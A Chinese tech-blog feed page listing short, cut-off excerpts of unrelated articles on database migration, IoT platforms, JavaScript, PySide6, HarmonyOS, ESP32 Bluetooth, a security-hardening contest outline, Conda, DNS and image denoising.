在Oracle到GreatSQL迁移中排序规则改变引发的乱码问题分析及解决 一、引言 某老系统数据库从 Oracle 迁移至 GreatSQL 过程中&#xff0c;首批迁移&#xff08;存储过程、表结构、基础数据&#xff09;顺利完成。然而&#xff0c;第二批数据迁移时出现主键冲突问题&#xff1…

开源物联网平台(OpenRemote)

在物联网技术蓬勃发展的当下&#xff0c;OpenRemote作为一款强大的开源物联网平台&#xff0c;正逐渐在多个领域崭露头角。尤其是在智能能源管理领域&#xff0c;它为微电网和分布式能源网络提供了全面且灵活的数据集成与管理方案&#xff0c;展现出独特的优势。 OpenRemote提供…

JavaScript入门【3】面向对象

1.对象: 1.概述: 在js中除了5中基本类型之外,剩下得都是对象Object类型(引用类型),他们的顶级父类是Object;2.形式: 在js中,对象类型的格式为key-value形式,key表示属性,value表示属性的值3.创建对象的方式: 方式1:通过new关键字创建(不常用) let person new Object();// 添…

软件安全检测报告:如何全面评估企业级办公软件安全性?

软件安全检测报告对软件的整体安全性进行了全面而细致的评估与呈现&#xff0c;既揭露了软件防范非法入侵的能力&#xff0c;同时也为软件的开发与优化提供了关键性的参考依据。 引言情况 撰写报告旨在明确呈现软件的安全性状态&#xff0c;并为后续的改进工作提供依据。在阐…

PySide6 GUI 学习笔记——常用类及控件使用方法(常用类颜色常量QColorConstants)

文章目录 一、概述二、颜色常量表标准 Qt 颜色SVG 颜色&#xff08;部分&#xff09; 三、Python 代码示例四、代码说明五、版本兼容性六、延伸阅读 一、概述 QColorConstants 是 Qt for Python 提供的一个预定义颜色常量集合&#xff0c;包含标准Qt颜色和SVG规范颜色。这些常…

大模型技术演进与应用场景深度解析

摘要 本文系统梳理了当前主流大模型的技术架构演进路径,通过对比分析GPT、BERT等典型模型的创新突破,揭示大模型在参数规模、训练范式、应用适配等方面的核心差异。结合医疗、金融、教育等八大行业的实践案例,深入探讨大模型落地的技术挑战与解决方案,为从业者提供体系化的…

鸿蒙5.0项目开发——鸿蒙天气项目的实现(主页1)

【高心星出品】 文章目录 页面效果&#xff1a;页面功能&#xff1a;页面执行流程&#xff1a;1. 页面初始化阶段2. 定位获取阶段3. 天气数据加载阶段 这个页面是整个天气应用的核心&#xff0c;集成了天气查询、定位、搜索等主要功能&#xff0c;提供了完整的天气信息服务。 …

【ESP32】ESP-IDF开发 | 低功耗蓝牙开发 | GATT规范和ATT属性协议 + 电池电量服务例程

1. 简介 低功耗蓝牙中最为核心的部分当属 GATT&#xff08;Generic Attribute Profile&#xff09;&#xff0c;全称通用属性配置文件。而 GATT 又是建立在 ATT 协议&#xff08;属性协议&#xff09;的基础之上&#xff0c;为 ATT 协议传输和存储的数据建立了通用操作和框架。…

2025 年九江市第二十三届中职学校技能大赛 (网络安全)赛项竞赛样题

2025 年九江市第二十三届中职学校技能大赛 &#xff08;网络安全&#xff09;赛项竞赛样题 &#xff08;二&#xff09;A 模块基础设施设置/安全加固&#xff08;200 分&#xff09;A-1 任务一登录安全加固&#xff08;Windows,Linux&#xff09;A-2 任务二 Nginx 安全策略&…

【记录】Windows|竖屏怎么调整分辨率使横竖双屏互动鼠标丝滑

本文版本&#xff1a;Windows11&#xff0c;记录一下&#xff0c;我最后调整的比较舒适的分辨率是800*1280。 文章目录 第一步 回到桌面第二步 右键桌面第三步 设置横屏为主显示器第四步 调整分辨率使之符合你的需求第五步 勾选轻松在显示器之间移动光标第六步 拖动屏幕符合物理…

开源项目实战学习之YOLO11:12.2 ultralytics-models-sam-decoders.py源码分析

👉 点击关注不迷路 👉 点击关注不迷路 👉 另外,前些天发现了一个巨牛的AI人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。感兴趣的可以点击相关跳转链接。 点击跳转到网站。 ultralytics-models-sam 1.sam-modules-decoders.pyblocks.py: 定义模型中的各…

数据结构*优先级队列(堆)

什么是优先级队列(堆) 优先级队列一般通过堆&#xff08;Heap&#xff09;这种数据结构来实现&#xff0c;堆是一种特殊的完全二叉树&#xff0c;其每个节点都满足堆的性质。如下图所示就是一个堆&#xff1a; 堆的存储方式 由于堆是一棵完全二叉树&#xff0c;所以也满足二…

汽车Wafer连接器:工业设备神经网络的隐形革命者

汽车Wafer连接器正在突破传统车载场景的边界&#xff0c;以毫米级精密结构重构工业设备的连接范式。这款厚度不足3毫米的超薄连接器&#xff0c;在新能源电池模组中承载200A持续电流的同时&#xff0c;仍能保持85℃温升的稳定表现&#xff0c;其每平方厘米高达120针的触点密度&…

微信小程序:封装表格组件并引用

一、效果 封装表格组件,在父页面中展示表格组件并显示数据 二、表格组件 1、创建页面 创建一个components文件夹,专门用于存储组件的文件夹 创建Table表格组件 2、视图层 (1)表头数据 这里会从父组件中传递表头数据,这里为columns,后续会讲解数据由来 循环表头数组,…

Conda 完全指南:从环境管理到工具集成

Conda 完全指南&#xff1a;从环境管理到工具集成 在数据科学、机器学习和 Python 开发领域&#xff0c;环境管理一直是令人头疼的问题。不同项目依赖的库版本冲突、Python 解释器版本不兼容等问题频繁出现&#xff0c;而 Conda 的出现彻底解决了这些痛点。作为目前最流行的跨…

安卓中0dp和match_parent区别

安卓中的 0dp 和 match_parent 的区别&#xff1f; 第一章 前言 有段时间&#xff0c;看到同事在编写代码的时候&#xff0c;写到的是 0dp 有时候自己写代码的时候&#xff0c;编写的是 match_parent 发现有时候效果很类似。 后来通过一个需求案例&#xff0c;才发现两者有着…

信贷风控笔记4——贷前策略之额度、定价(面试准备12)

1.贷前模型的策略应用 分类&#xff1a;审批准入&#xff08;对头尾部区分度要求高&#xff09;&#xff1a;单一规则&#xff08;找lift>3的分数做规则&#xff09;&#xff1b;二维交叉&#xff1b;拒绝回捞 额度定价&#xff08;对排序性要求高&#xff09;&am…

A级、B级弱电机房数据中心建设运营汇报方案

该方案围绕A 级、B 级弱电机房数据中心建设与运营展开,依据《数据中心设计规范》等标准,施工范围涵盖 10 类机房及配套设施,采用专业化施工团队与物资调配体系,强调标签规范、线缆隐藏等细节管理。运营阶段建立三方协同运维模式,针对三级故障制定30 分钟至 1 小时响应机制…

Linux中的域名解析服务器

一、DNS&#xff08;域名系统&#xff09;详解 1. 核心功能与特点 特性说明核心作用将域名&#xff08;如 www.example.com&#xff09;转换为 IP 地址&#xff08;如 192.168.1.1&#xff09;&#xff0c;实现人类可读地址与机器可读地址的映射。端口与协议- 默认端口&#…

CycleISP: Real Image Restoration via Improved Data Synthesis通过改进数据合成实现真实图像恢复

摘要 大规模数据集的可用性极大释放了深度卷积神经网络(CNN)的潜力。然而,针对单图像去噪问题,获取真实数据集成本高昂且流程繁琐。因此,图像去噪算法主要基于合成数据开发与评估,这些数据通常通过广泛假设的加性高斯白噪声(AWGN)生成。尽管CNN在合成数据集上表现优异…